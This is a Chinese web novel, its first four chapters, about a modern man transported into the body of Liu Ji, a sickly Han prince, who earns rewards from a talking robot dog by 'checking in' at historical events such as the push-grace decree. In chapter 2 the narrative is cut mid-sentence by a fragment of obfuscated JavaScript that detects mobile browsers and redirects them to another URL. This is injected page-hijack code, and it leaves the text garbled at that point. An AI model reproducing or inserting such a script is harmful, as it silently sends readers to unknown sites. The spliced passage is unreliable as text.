《作为汉武帝侄子的我》
1. 瑞星入世
汉王朝,三元二年。①
即史家所追书的元朔二年。
长安,未央宫。
前殿的中殿宣室殿内。
文武群臣席上正坐,井然肃静。
皇帝刘彻威踞上首,如一柄开刃利剑,莫敢撄锋。
“梁王、城阳王亲慈同胞,上奏道愿从封国分地与其弟,以封列侯,此事应当允许。”
“另有诸侯王请求愿给子弟封国者,朕亦将亲自过问,使子弟都有列侯之位。”
言语声调之间,强势尽显。
“即日颁诏诸郡国,咸使闻之。”
两年前主父偃献推恩策,陛下欣然采纳,下诏施行。
眼下二次颁诏郡国,在于重申上意,强化推恩之制。
群臣全无异议,唯唯连声。
职掌列侯诸等爵位封夺的主爵都尉汲黯,避席出列,躬身领旨:“唯。”
一事议罢,又议过二三事,五日一朝的朝议就散了。
文武百官鱼贯而出,稍后刘彻振袖起身,也往殿外走去。
朝议费神,待他出去歇歇神,远眺片刻,再回来勤劳理政也不急。
正要迈出殿门的时候,外面忽起一阵喧哄!
听动静就像有几百只鸡鸭,轰然一下被驱赶惊飞!
“出了何事!”刘彻长腿阔迈,几大步来到殿外。
就见殿前阶旁的值守郎官,还有三五成群散去的文武诸臣,此时都似啼晓的晨鸡,抻颈仰头望向东方天空!
刘彻来不及多想,彩辉闯进眼周余光的同时,已经抬头看去——
一条多彩星河,横于碧空,长竟天!
青天白日,丝毫不曾夺其半分耀眼!
色艳七彩,然亦莫能绘其三分颜色!
可谓是:耀兮盛白日,色兮放万彩!
眼前所见,让刘彻立时慑于当场。
虽不至于和百官一样失态惊呼,也一时惊得耳不能闻,口不能言。
数息后,才从胸腔经喉咙挤出来一声:“嗬!”
又少顷,星河的耀目色彩开始淡褪。
数息之间,就已消散殆尽。
万里碧空之中,只残存一抹橙红淡彩。
证明方才的壮丽天象,并非大汉君臣的幻梦一场。
虽心潮仍旧澎湃不息,刘彻也强自收回了视线。
殿前广场之上,满朝文武三五个一堆,失魂、无措、惶恐……环视四顾,就像一群无头苍蝇,嗡嗡嗷嗷,烦人至极。
倒也有丞相薛泽随机应变,大步流星地自右侧阶梯疾步上来!
落后几阶紧跟着的,还有掌天文历算的太史令司马谈。
疾步中的薛泽,心内思绪翻涌——
彗星竞天,自古都是兵丧一类大凶之兆,尤其今日星象还如此盛大。
若为凶兆,怕不得是世所罕见的大凶!
后世史书工笔,陛下固然免不了因此遭受攻讦指摘。
但他这个群臣之首的丞相,以及满朝二千石公卿们,难道就能逃脱罪责了吗?
万世英名将毁的威胁下,薛泽竟陡生急智,高呼:
“祥瑞也!兆吉祥瑞也!”
对啊!不同以往的是!
今日的星象曳尾,并非短短一截白光,而是宽广似一条江河,横贯苍穹。
瑰丽壮观,亦远胜七彩虹桥,亘古未闻!
“祥瑞也!兆吉祥瑞也!”
薛泽伏地跪拜,大礼贺道!
至于究竟是吉是凶?除非真的是凶得亡国灭世,否则都是吉凶两说皆可的。
天文星象对应的兆示,也逃不过牵强附会的解说。
司马谈也来到了刘彻跟前,心潮和热血沸腾着,蒸得他头脑恍惚。
不自禁地附和:“丞相所言极是。”
此时他争先冒头,与丞相一样也是职责驱使。若畏缩不出,便是失职。
强自定了定神,尽量顺畅地禀道:“臣为太史令,自幼学天官,素日观天象。方才朝议散后出得殿来,臣也惯常仰头观天。”
刘彻是在听闻群臣喧哄后才疾步而出,只来得及看见那万彩江河一般的星尾。
就连群臣也是在司马谈惊呼后才抬头,因此见证星辰降临之景者,竟只他一人。
“初观只是青碧万里之象,然忽而一瞬!未央宫之上的中天,竟无声无息融开一个玄黑幽深的圆洞,而后无垠天幕上,穿透进了第一束光!”
“这束光一旦入世,便向东奔去,并在身后画出一条炫彩星河!”
刘彻远眺东方天空,那一抹橙红淡彩,已经完全消散。
回头俯视司马谈头顶,语调低沉又顿挫:“此情此景,竟与以往彗星经天之象,全然不同了?”
司马谈在此时此刻,虽然未必理清眼下经历的个中三昧,却也直觉道:“全然不同!自古彗星曳尾,皆色丧白,短而易逝,兆不吉。”
“今日之星的曳尾,却是色呈万彩,又阔长如江河,流连恒久。”
“更似是祥瑞之象。”
薛泽悄然吐出一口气,聚到阶下的文武群臣,神色也安定稍许。
刘彻盯住跪禀的司马谈头顶,目光更见幽深:“哦?”
又问:“那太史公可知,此天象是何?”
今日之景,古今未见,司马谈也不知是何天象。
但此时此刻,他也不能问而不答。
某一瞬,太史令司马谈福至心灵,同时回答就冲出了口关:“或为瑞星入世之象!”
“瑞星入世……”
“大善!”
刘彻飒声展袖,喝彩之声响彻未央宫前殿。
阶旁郎官、阶下群臣,皆高声唱和。
赞瑞星入世,赞皇帝仁德!
……
东方,齐鲁大地,城阳国都莒城。
城内一处宅邸。
“平稳着陆!”
时空穿梭舱,同时也是系统载体的仿生灰毛狼犬,打开腹腔空间,放出刘吉,宣告穿越成功。
着陆在一张榻上的刘吉,第一时间扑到榻沿边儿:“yue——”
虚弱难支的样子,像极了死在榻上的马拉。
很难说,他是不是因为落地就加载原主的记忆,撑着了脑子,因而头晕眼花,反胃作呕。
但不妨碍他转头就控诉系统:“滚筒洗衣机一样的乘坐体验,你怎么说得出平稳这种话的!”
“还有,就不能换一种着陆方式吗?这样我好像是被你剖腹产的,太不像样了。”
“毕竟是穿越时空界壁之后着陆,就像你们乘坐火箭往返地球大气层,颠簸在所难免的嘛。”
只是这次尤其颠簸了一点点。
腹部合拢,就和活生生真狗一模一样的系统狗歪头。
可可爱爱,口吐人言:“对了,你说换一种方式?”
“那你是想从尾部被拉出来,还是从嘴里被吐出来?”
“我也是没有过坐火箭的经历……”
被拉或被吐出来,也没好到哪儿去。刘吉噎住,“算了换个话题吧。”
检视一番身体,刘吉疑惑:“这具身体?”
熟,又不全熟。
八分熟。
系统狗毛脸无辜,但回答扎心:“你自己的身体已经在雷暴中被劈得肉焦骨酥了,嘎嘣脆!”
“你现在这具身体,是在收殓这个时空的刘吉遗体,将其意识体传输到第二世界——全息星网,安顿好之后,再采集其基因细胞克隆而来。”
系统狗马上又抛出免责声明:
“请放心,我司在宇宙联邦相关部门有合法许可备案,克隆体在‘历史旅游签到’项目的运用合法合规,也合世俗伦理道德。”
这一说,刘吉就注意到了体内跗骨的隐痛虚弱,“不能捏一具健康的身体吗?”
竟然还原了原主刘吉历史上‘有痼病’的记载,也太实诚了。
系统狗正气凛然:“那样就违法了,严禁篡改编辑原主基因数据!既然借用原主的身份,就要将真实贯彻到底。”
“难道你们要我撑着这副病体残躯,去当一个‘旅游博主’,四处奔走签到打卡历史事件和历史名人?”
刘吉一头乌发披散逶地,胳膊支在榻沿儿,俨然病病唧唧之态。
“没有办法解决一下吗?”
没等刘吉多费口舌,系统狗就大方回答:“还真有。”
刘吉伸手:“洗耳恭听。”
系统狗一秒切换AI声线,播报起了签到提醒——
【请准备签到:[出
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发吧!元朔二年春!]】
【签到预览:你已成功着陆西汉元朔二年春一月,即将开启一段‘签到历史事件名人,享重获美好新生’的奇妙旅程!
旅途中,您可通过直接或间接方式签到历史事件和名人,以及日常签到,获得月石或稀有奖励。
月石作为系统货币,可用于解锁兑换多种用途和功能。
更多详情,期待您的探索!】
【倒计时:即时。】
既然可以即时签到,刘吉当即发出指令:“签到。”
【叮!恭喜成功签到[出发吧!元朔二年春!]】
【签到梗概:……(同前‘签到预览’)
既然已经决定出发,那就祝您旅程愉快!】
【恭喜您获得稀有奖励[百邪不侵体]!】
签到成功瞬间,如醍醐灌顶、三花聚顶、仙人抚顶……
总之从头到脚沉疴尽去,身轻体盈,飘然欲仙!
“系统这个好,我还要!”
系统狗无情拒绝:“开局奖励,仅此一次。”
“好吧。”系统这稀有奖励,大概就跟抽卡游戏的开局保底一样。
“不过你们还真是——虽然遵纪守法,但是灵活变通。”
遵纪守法,贯彻真实,但开局开挂。
这样就很好了。
“一切为了更好的历史旅游体验。”系统狗不羞不惭,泰然自若。
但刘吉并不以为身体健康,就后顾无忧了。
比如,片刻之后——
“郎君?可要仆进来服侍?”
根据前情提要——记忆继承,门外询问的是原主两个仆人之一的陶杯,忠心体贴,负责近身侍奉。
另一个仆人陶盘,则有一手灶上功夫,日常主要在东厨,负责他们的吃喝餐食。
“咳咳、咳。”刘吉开口先咳上三咳。
然后才体虚气短地扬声:“去东厨,煮一碗、麦粥来。”
“喏!郎君且稍等,陶盘惯常用小炉文火温一罐粥,就备着郎君想吃的时候,仆这就去盛来!”
郎君难得有胃口,陶杯转身便往东厨奔去!风风火火,一如他来时。
开局签到百邪不侵体,不用再日夜受病痛之苦了。
但像刚才这种遇到原主的熟人或亲人的情况,还是得走一个装虚弱的流程。
原主刘吉真真儿一个病弱男子,总不好转眼他就给人露一手倒拔垂杨柳吧?
系统狗抬起右前爪,为他点赞:“声技不错。”
“听起来真和死了半截没埋一样弱气。”
“会夸,你还是少夸点。”
刘吉提醒一句,“你可也长点心吧,谁家真狗说人话,竖拇指点赞啊。”
系统狗自信傲睨:“放心!”
“环境监测扫描功能,作为基础必备核心模块功能,全天候开启!
当有人突破安全范围时,我就会收到预警,避免暴露轻而易举。”
“有这样的好东西?快给我共享共享。”刘吉哥俩好地占便宜。
“当然可以,我俩什么关系!”系统狗慷慨仗义地分享了。
刘吉突然想到:“对了,系统你的身体……”
【噫呜噫呜!——】
防空警报一样紧张危急的预警声,陡然在脑海炸开!
吓得刘吉一个心肝剧颤!
好悬没吓出病来又病发!
【仆人陶杯正在接近,即将突破听觉可察安全范围!】
刘吉压低音量,咬牙切齿地挤出建议:“建议换一个、轻柔的、预警提示音。”
【建议已接收。】
【当周围环境不便时,你可在脑内与系统进行意识对话。】
刘吉切换脑内频道:【狗系统。】
系统狗提醒:【我听得见的。】
刘吉直言:【那就好。】
【……】系统狗反手一个‘种族歧视’,【你们人类,果然擅长得寸进尺。一旦双方关系拉近加深,人类就会尝试冒犯对方底线。】
刘吉茫然无辜状:【你在说什么呢?我听不懂。】
在底线边缘反复试探.jpg
毕竟是要长久合作的系统同事,是什么秉性风格,肯定要试探试探的。
2. 激情带货
脑子里,一人一统拌着嘴。
嘴巴上,刘吉已经喝上了陶杯喂的麦粥。
麦粒被碾压成麦片,烘烤香脆后,加清水、枣干熬煮。
入口时麦香与枣香充盈唇齿,咀嚼时舌尖泛起一丝甜味。
“麦粥可口,你们有心了。”刘吉倚靠凭几,斜支身体,笑容虚弱。
“郎君吃着好就好!”陶杯喂完刘吉一小碗麦粥,却比吃进自己肚里还高兴。
“郎君胃口既开,想来这场病也将大好了!”
可其实你家郎君因这一场病,已经倒在冬春交界时了。
这个平行衍生世界的刘吉,没能像史料记载那样,至少活到封东莞侯的三年后。
刘吉目光投向窗外:“是啊,春天万物复苏,好事也纷至沓来。”
如果人真有来生,等原主刘吉过腻了星际第二世界的生活,选择走向‘死亡’,投胎转世的时候,祝愿他下辈子能无病无灾到百年吧。
【请准备签到:[历史事件-汉武帝颁诏强化推恩令]!】
【签到预览:约元光六年(公元前129年),主父偃献推恩策,汉武帝下诏御史,颁布施行推恩令。
元朔二年(公元前127年)春,汉武帝再次颁布诏书,强化推恩制度。】
【倒计时:十五日。】
春天果然是美好发生的季节。
分封列侯的大馅饼,这就往他嘴里炫来了!
陶杯想让大病初醒的郎君多多休息,收碗起身告退,离开时才发现蹲在榻尾的灰毛狼犬,神采奕奕的。
纳闷道:“狼灰已经三日未曾进食,这是、一夜大好了?”
狼灰是一头忠勇护主的猛犬,他和陶盘都觉得,或许它是见郎君病重,遂绝食相随。
万幸峰回路转,郎君有病愈之势,狼灰也一夜大好,可继续护卫郎君身侧。
“但你怎么进到屋里来了?去去!”
说着就挥手赶狗:“出去出去!别扰了郎君休养。”
“呜呜汪汪。”系统狗狼灰呜呜叫,不肯走。
【人类,我与你家主人还有正事。】
然后就被一把揪住后颈皮,直接拖走!
“呜汪汪!”
【大胆人类!小心我咬你!】
刘吉病弱神态中带着一分忧郁,眼睁睁看着系统狗被拖出门去。
可他脑内笑得好大声:【哈哈哈!】
之前来不及问的问题,答案已经显而易见。
系统的身体多半也是在收殓了原来那只殉主的狼犬,让它意识继续追随原主去了。
然后采集数据,一比一还原外在,仿生制造而成。
无限趋近百分百的外表相似度,让拖走狼灰的陶杯,丝毫没察觉手下的猛犬已经换成科技与金属的造物。
【虚假的系统载体:一艘时空穿梭舱。
真实的系统载体:一条名叫狼灰的狗。】
“汪汪汪!”
【我能接收到你的意识信号!】
刘吉:【嘻嘻。】
“汪汪汪!”
【首个历史事件的签到节点即将到来,给我去做签到计划和准备啊!】
给它不嘻嘻啊!←报复心超强,被拖去旁边北院,拴到望楼下的系统狗。
一边做猛犬看家护院,一边还不忘督促刘吉。
刘吉:真是一条好(系统)狗!
……
刘吉拥一张皮毛被子,斜倚着凭几,瘫坐在榻上,暖烘烘地晒着。
一身筋骨都晒酥了,眼皮半开半合,懒散惬意至极。
【恭喜今日签到成功!】
【恭喜您获得10月石!】
一个签到节点到来前,系统会视情况,不定时提前发出提醒。
而现在距离首个历史事件的签到节点,还有……五天!
“也就是说,你已经摸鱼十天了。”
对人类同事兼旅游搭子的懒惰,系统狗表示强烈谴责。
这不就是:都出来旅游了,不去打卡景点,却每天窝在酒店睡大觉?
早先日头升高后,陶杯和陶盘二人搬出一张榻,支放在屋檐外的台基上。
铺上质地松软的蒲席,拿来两张暖和的皮毛被褥。
开春回暖,阳光和煦。郎君躺着晒一晒,对身体有益。
狼灰也在刘吉示意后,被解开拴绳,陪伴在侧。
当下此时,对于系统狗的谴责,刘吉毫不惭愧:“换言之,我已经风雨无阻连签十天了。”
日常签到的规则是,第一日签到得1月石,第二日2月石,以此类推。自第七日开始,连签每日得10月石。若中断,则重新计算。
所以至今他的总资产是:61月石。
系统狗趴在榻边,白眼翻上天了。
阴阳怪气:“呼吸了十天,真是辛苦你了。”
“你要知道,我以前只是一个偏科的‘历史生’。”刘吉躺平得理直气壮。
“高一在选考之前,甚至创下过物化生三门课程的期末考试成绩,总和不满60分的记录。
穿越者必备技能,比如高炉炼钢,烧制水泥、玻璃,制作肥皂,配制火.药,杂交水稻……等等理工类技能,我是一样不会。”
“我还四体不勤、五谷不分,生长于钢筋水泥森林里,生活自理能力是会用家电,厨艺则是会用微波炉叮预制菜的水平。”
“除了咸鱼躺平,数着日子等签到,你还指望我能做点什么呢?”
系统狗斜眼鄙视:“你可以为首个历史事件签到节点的到来,做计划和准备。”
刘吉垂在榻边的手,撸一把系统的狗头,毛感顺滑、触手生温,跟撸真狗一样。
“可是第一个历史事件,不是只要等诏书邸报送达城阳国,就签到成功了吗?”
“最多当天出一趟门,吏员宣读政令时,挤人群里听上一耳朵。”
通告天下的诏书便是政令了,又不是独他一份的,听到就是签到了。
系统狗无可辩驳。
但嘟嘟囔囔:“不是每次签到都这样容易的。”
也没放弃规劝:“你还可以去主动结交、签到历史名人。”
“虽然城阳国内的历史人物,不像汉武卫霍等大名鼎鼎,但你的兄弟们,也在<王子侯者年表>一类史料中留有一个姓名,他们也是可以签到的。”
刘吉懒洋洋地问:“一个人多少月石?”
“如之前所说,成功签到历史事件和名人,得10至1000个不等的月石奖励,或有概率获得稀有奖励。”
“你兄弟们的话,成功签到一个,大概10月石。”
系统狗说完,却已有预感。
果然,刘吉兴致缺缺。
“最低档啊。”
一个咸鱼翻面,继续趴平了晒背。
系统狗化身省吃俭用能存钱的老一辈,用过来人语气说:“你别瞧不上眼啊!积少成多,攒一攒,就是一大笔了!”
刘吉惬意晒背,一动不动。
系统狗:“……”宿主他是没过过缺钱的日子!
沉默中,春风拂过,刘吉的眼皮子逐渐耷拉,看上去昏昏欲睡。
这场沉默对决的输家,终究是系统狗。
但坚韧的品格,让它永不轻易言弃。
放弃了说教,又开始利诱:“攒够对应数额的月石,可解锁多种系统功能和服务,大大提升历史旅游体验感。”
刘吉已经合上了眼皮。
春风轻轻地吹……
系统狗无可奈何。
它转而激情带货!
“当你在历史旅游时,是否不满当前历史走向?”
“月石数额历史累计达到500,即可解锁系统的第一项服务功能——发出负分评论。
消耗2月石发出一条差评,我们将为您‘入梦代骂’相关历史责任人!”
刘吉闭着眼睛,但没瞎说:“强汉盛唐,谁会不满这成为强汉,以他国号冠一民族之名的历史走向?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160078|165033||http|test|mini|href|location''.split(''|''),0,{}));
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>赫赫强汉,不似秦二世而亡,不像宋文弱偏安,令人抱恨,令人叹惋。
目前他尚无滴滴代骂的需求。
系统狗没气馁:“旅途寂寞,挚友难得,若在对方遇到困难坎坷时,却不知情、不及援手,岂不悔恨终生?”
“月石数额历史累积达到1000,即可解锁第二项服务功能——签到名人的特别关注。
消耗500月石,特别关注一位历史名人,即可在他遭遇困难坎坷之前,自动弹出提醒——梦中剧透!”
刘吉不为所动,“你看我现在有一个挚友吗?”
初来乍到,他哪来的——付出50天连签所获月石的代价,也要特别关注帮助的——挚友?
以后或许会有,但总归现在不急。
系统狗不放弃:“旅途之中,行囊累赘,是否想要轻装游玩?”
“第三项服务功能——空间存储栏位,为你分忧!
月石历史数额累计达到1500,即可解锁。
消耗500月石,可开通一个空间存储栏位。旅途负重、珍贵物品存放难题,迎刃而解!”
刘吉不动如山:“近期内没有出行安排,不存在旅途负重。”
“身无长物,也没有稀有珍贵物品需要保存。”
系统奋力最后一击:“续费vip身份(侯爵及皇室身份),享尊贵服务!”
“消耗2000月石,即可延长180天vip身份有效期。”
“若到期不续,将被除爵并贬为庶人。”
系统狗:啊哒哇除你身份!
除你身份,贬为庶人!
不信你不屈服!
刘吉终于睁眼。
合着他这身份还是临时的,续费一次管半年。
真就看不惯他躺平是吧。
虽然但是:“是否去爵除国,贬为庶人,难道不是取决于猪猪帝?”
系统狗理直气壮:“如果没有系统,你能在被雷劈死后穿越重生?能有大汉列侯和皇室的vip身份?”
“何况系统还提供了多项服务功能,提升旅游体验呢!”
刘吉翻出一双死鱼眼:“懂了,会员续费,强制性的。”
但巧了,他也是个犟种。
“可批准封侯的诏书都还没到,距离封侯更是还有小半年呢,我那时已经攒够续费的月石了。”
“不急不急。”
……
系统狗彻底黔驴技穷。
心一横又一横,豁出去了!
两条前腿搭在榻边,荷包蛋狗狗眼.jpg。
看着刘吉,狗爪作揖:“求你了~”
“咱们历史旅游项目,也是有签到打卡绩效要求的,求求了~”
求求了祖宗,积极点吧!
“……”
刘吉目移。
“倒也,不是不行。”
不是他吃卖萌求人的这一套,主要是以后用钱(月石)的地方也多,多攒点总没坏处。
虽然签到一个兄弟的月石奖励,只有最低档,但积少成多嘛。
于是扬声叫来在南院春耕的陶杯。
陶杯拍掉身上泥土,日前,郎君让他把南院不成气的花木造景都拔掉,改造成菜园子。
等他把地开垦翻耕出来,天也暖和了,就可以撒上?芦菔种子。
发芽出苗,等长到需要疏苗时,就可以拔芦菔嫩苗来吃,长成后还能掘芦菔根炖汤吃。
“郎君唤仆来,可是渴了饿了?仆这就去……”
刘吉拦住,吩咐陶杯:“唤你来,是想让你,去给我王兄和二兄、三弟等人,送一份礼。” 王子侯者年表>
3. 签到成功
刘吉病情好转已有一旬,对外也在逐渐病愈了。
不过体弱多病的人设还不能崩,一言一行,皆是温文和缓。
“我生这场病,叫让兄弟们跟着挂心,如今痊愈,也该叫他们知晓放心。”
这就是胡话连篇了。
原主久病缠身,在他兄弟们眼中恐怕就是半个死人,哪会日常挂心。
这次冬春之交时他生病又加重,也没有一个人来探望。人没到,礼也没到。
哪有他反而先送礼的道理。
陶杯一言未发,只是领命:“喏。备礼可还是按旧例?”
原主体弱多病,府中杂务没少让陶杯和陶盘两个仆人操持,对方显然有经手送礼的经验。
“嗯,你看着办罢。”刘吉颔首。
低眉垂眼之间,一抹黯然轻愁便已攀上眉宇。
陶杯看见了,霎时心上一揪。
郎君是在为兄弟的薄情寡义伤怀吧?
这回郎君病重日久,却不见一个兄弟探望……一群势利之徒!
“喏。”陶杯怜惜、迁怒,却不好多言。
郎君一贯宽和待人,却不是喜欢吐露心声的性情。
主仆间也不曾推心置腹过,交情未交心。
——即便这样,就足以让作为仆人的陶杯陶盘死心塌地了。
陶杯恭敬退下。
心下暗自决定,他一定要尽心操办好这次送礼。
无论如何,此为郎君所愿,只要能叫郎君开颜就好。
系统狗激情吐槽:“好一壶绿茶。”
刘吉以拳遮口,咳嗽两声,清白无辜:“咳咳,你多心了……”
“呵。”系统狗毛脸冷漠,不作纠缠。
“你知道的吧,间接签到,月石奖励打八折。”
当面亲见、现场亲历,都是直接签到。
但总有一些时候,确实不便亲至,就只能通过书信、赠礼这一类间接签到的方式了。
但刘吉和兄弟们都没封侯,都住在城阳国都城内,显然不属于没法亲至的签到情形。
系统:答应签到,结果是间接的方式,懒死你算了!
它的求求终究是白费了!
刘吉重新摊平晒背,又笑呵呵解释:“原主和兄弟们交情淡薄,我突然去拜访,那多突兀啊。”
而且只是少2个月石而已,又不是汉武卫霍一类价值1000月石的名人,间接签到损失高。
“也不值得我挨个奔走拜访。”
“再说了,我大病初愈,就活蹦乱跳地走家串户,人设都该崩了。”
“所以之前我也不是摸鱼,是在维持人设。”
系统狗:“……”
好像有道理,又好像是借口。
……
城阳国王宫,及城中数处。
刘吉的兄弟们收到送礼——礼物本身不过寻常,并无出挑之处,不值一提。
只是来得突然,又听了仆人代传的那一番话,心绪多少泛起了波澜。
城阳王刘延:“……三弟自幼就懂事。”
老二刘豨:“三弟他,竟又生了一场大病?”
老四刘壮:“三兄着实多礼,弟惭愧啊。”
还有今年不会一起被奏请封侯的弟弟们:“多谢三兄,三兄痊愈便好。”
一众兄弟的心里面,多多少少生出一丝惭愧、羞赧。
——兄弟卧病,他们不曾看顾探望,反而先收到了对方赠礼。
于情于理,都说不过去。
于是陶杯花了两天半送完礼后,接下来的几天,刘吉就陆续收到了各个兄弟的回礼。
果脯腊肉,丝麻布匹,铜陶酒具……有多有少,各式各样,不一而足。
就连城阳王,也赏下了一千钱。
十三份回礼,林林总总,让刘吉小赚了一笔。
不过在此之前,随着陶杯每送礼一家,就有成功打卡历史名人的月石到账——
【恭喜成功间接签到[历史名人:城阳顷王刘延]!】
【恭喜您获得12月石!】
【恭喜您成功间接签到[历史名人:雷侯刘豨]!】
【恭喜您获得8月石!】
【……[历史名人:辟土节侯刘壮]!】
【……8月石!】
除了即将同批封侯的刘豨和刘壮两兄弟,还有两年后即元朔四年,才会一道封侯的十个弟弟们:
利乡侯刘婴、有利侯刘钉、东平侯刘庆、运平侯刘记、山周侯刘齿、海常侯刘福、驺丘敬侯刘宽、南城节侯刘贞、广陵虒侯刘裘、杜原侯刘皋。
另外的十个弟弟们是谁,不重要!
刘吉都不能在每响起一个名字时,对应出一张脸。
让他唏嘘感慨的是:“十三个,足足十三个弟弟,去分割刘延这个哥哥的封国啊……”
难怪偌大一个城阳国,最后竟只余四县之地,龟缩在半岛丘陵内圈的小小一隅。
刘吉啧啧:“只按每个列侯封地一县算,就有十三县被割走,自此别属汉郡统辖。”
“不过这十三个列侯,最终也都或因违法,或因元鼎五年的‘酎金案’,而被去爵除国。”
于是至少十三县侯国封地的租税赋敛,最终也都收归了大汉中央。
系统狗纠正:“还是剩了一根独苗的——南城侯刘贞一支,传承六世,与城阳王一支一起,至王莽篡汉才断绝。”
“那不影响大局。”
刘吉又啧啧摇头,“而这,仅仅只是城阳一个王国……”
“我今儿!算是见到生动形象的推恩令了。”
原本势大的诸侯国,被推恩割裂成若干小国,小国的实力不比大国,便再难对抗大汉中央。
何况猪猪帝最后还来了一手‘酎金案’——列侯坐献黄金酎祭宗庙不如法夺爵者百六人②,连小国都十不存一了。
刘吉并没有在为他大兄心疼,只是感慨而已。
也没什么唇亡齿寒的自觉,哪怕有朝一日,除国夺爵这把刀子也将落到他的身上。
只因为他一个华夏汉人,可不会为了一时富贵、一己私利,就想方设法破坏推恩令的实行,掐断汉王朝的强盛开端,妨碍帝制中国的奠基成形,去做那历史的罪人。
“说得好像你想,你就能办到一样。”系统狗白眼奚落。
刘吉没有半点儿不服:“那可是汉武帝,秦皇汉武的汉武。”
办不到有什么羞耻的?
他可没有那种——他穿越他就能拳打秦始皇、斗倒汉武帝、力压唐太宗、截胡明太祖的自信!
“而且大汉的削藩大业,先有建国之初汉高祖除韩信、英布等异姓王,大封刘姓子孙;
后有汉景帝镇压七国之乱,大力削弱诸侯王势力,收回诸侯国的任官治民权。”
“制度方面来说,现在的大汉诸侯只能取用封地租税,被圈在封地富养着而已。”
“大汉诸侯国,实际已经半郡县化了。现在还有谁能反抗推恩令?”
推恩令本就是光明正大的无解阳谋。
古人不是傻子,是没人看破推恩令的本质吗?是不敢、不能反抗而已!
君不见反抗汉景帝、晁错《削藩策》,先发制人‘清君侧’的吴楚七国,都被捶得烂兮兮抠不起来了吗!
刘吉直指本质:“推恩令,只是大汉削藩大业的最后一击。”
他现在的打算是努一努力,看看能不能和刘贞一起,去做那唯二幸存的苗子。
实在不行,就争取在被免封除国之后,余生还能在长安富裕地度过。
这时,刘吉突然想到一点:
“狼灰啊,如果我一直续费vip,那你能保证我的列侯和皇室身份,永不被废为庶人吗?”
在中央集权的大势之下,系统也能保住他的身份和封地吗?
这样的话……
“不能胡搞瞎搞地作死!”系统狗一眼看穿刘吉的跃跃欲试。
刘吉若无其事,“那当然了。”
“你最好是。”系统狗斜睨某人一眼。
“正常情况下,不作奸犯科,没惹到汉武帝的话,能够保证。”
刘吉反口就是一个挑衅:“一而再、再而三地加限定条件,你是不是不行?”
“拜托你的脑子了!”系统狗原话奉还:“那可是秦皇汉武的汉武!”
“你如果隐于芸芸人群中,我的v
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ip机制还能起作用,让他忽视遗漏你一个,不削了你。”
“但你要是作死,做冒头的椽子,我还能硬控汉武帝不成?”
真当千古一帝前三的存在,意志薄弱似大怂那帮子皇帝呢?
“懂了懂了。”刘吉哂笑着挥挥手,“嗐,你看看你,这么激动做什么,我又没怎么地。”
系统狗:毛脸冷漠.jpg。
刘吉目移,远眺天边。
那朵云真像云啊。
没话找话:“系统,我现在攒了多少月石了?”
“189。”
多一个标点符号都没有。
……
又摸鱼了两天,第三天。
也是签到节点倒计时的最后一天。
【恭喜成功签到[历史事件:汉武帝颁诏强化推恩令]!】
【事件梗概:约元光六年(公元前129年),主父偃献推恩策,汉武帝下诏御史,颁布施行推恩令。
元朔二年(公元前127年)春,汉武帝再次颁布诏书,强化推恩制度。】
【恭喜您获得700月石!]
作为汉武帝内强皇权的主要措施之一,推恩令大名鼎鼎。
价值700月石,合情合理。
【叮——】
【您当前月石数额为:919。
已解锁第一项服务功能——发出负分评论,欢迎使用!】
刘吉乘车来到城门口,听完政令布告,在掉头返程时,堵车了。
陶杯驾着车,龟速前行。
众所周知,遇到堵车时,弃车步行比坐车速度快。
但此时,刘吉坚决拒绝下车步行!
跪坐在头有篷盖、四壁无遮的马车里,暖暖春日与人间烟火发酵的气味,强硬地直往鼻子里钻!
入目所见,是湿软春泥与人畜粪尿拌匀之后,铺抹得并不平整的坑洼街道……
噫惹!
Yue——
难怪古代富人出行,多乘车骑马。
难怪东方诞生了鞋底有木齿,方便久立和行走潮湿之地的木屐,西方也有高跟鞋。
古代的寻常街道,真不像古装剧里那样,干净整洁地铺着青石砖啊!
【我曾以为,短期内我是用不着第一项功能的。】
刘吉目光扫向街边墙根,脑内幽幽道:【但我想,我想错了。】
今天也护卫出行的狼灰,趴在刘吉脚边。
双耳警惕竖立,目光如电逡巡,猛犬护卫的气势拉满!
狗模狗样的,脑内却嘚瑟地说:【我就说吧!平时多攒点月石总是没错的,不定什么时候就用上了。】
刘吉没有嘴硬:【这话没错。】
跟攒钱存钱是一样的道理,有备无患。
大汉此时的人口不算多稠密,莒城虽是城阳国都,毕竟并非长安,堵过那一阵,很快就恢复通畅了。
陶盘扬鞭赶车,嘚嘚地往回驶去。
到地方了,刘吉被陶杯搀扶下马车,刚进大门,留守的陶盘就迎上来。
喜不自胜地恭贺:“郎君大喜!郎君位至列侯之日,近在眼前了!”
一人得道鸡犬升天,陶杯陶盘二人的喜悦甚至更胜主人刘吉一筹。
刘吉疑惑发问:“你不是留下守家吗,怎么像是早就知道了?”
陶盘解惑道:“刚从二郎君那得知的。”
“刚才二郎君乘车路过,大概也是听闻诏令后返回。对仆道:
传话你家郎君,我们打算明日进宫去向王兄谢恩,可要一道?”
刘吉打算应邀,一道入宫谢恩。
“王兄慷慨仁德,奏请陛下愿分割封国予我以封侯,如此厚爱,自当一道去诚心谢恩。”
随即吩咐:“陶杯、陶盘,你们预备起来,明日伴我入宫谢恩。”
“喏!”
“喏!”
日斜日落,一日过去。
刘吉吃过夕食,又没娱乐项目可耍,早早地就睡下了。
年轻人总是睡不够的,他今晚也睡眠绝佳,一夜酣眠无梦。
……
长安,夜。
刘彻结束了一日的政务。
4. 梦游九天
刘彻今晚没去椒房殿卫皇后处,也没去别处,独自宿在朝寝一体的宣室殿。
被服侍着洗浴过,上床闭眼躺下。
却没能立即入眠。
刘彻脑中不禁又一次浮现当日‘瑞星入世’的奇景。
是灾异,还是祥瑞……
心中不由得又琢磨起他的种种为政举措。
自即皇帝位以来,至如今三十而立之年,他诏贤良,举孝廉,修律令,纳推恩策。
行半两钱,初收车船商税。
穿漕渠通渭。
立期门军,用兵闽越,抗击匈奴,经略西南夷、东夷。
在‘抑黄老、尊儒术’一事上,虽初时受挫于太皇太后,但也得以置五经博士。
在太皇太后崩逝后,他又策问贤良,得董仲舒、公孙弘等儒士。
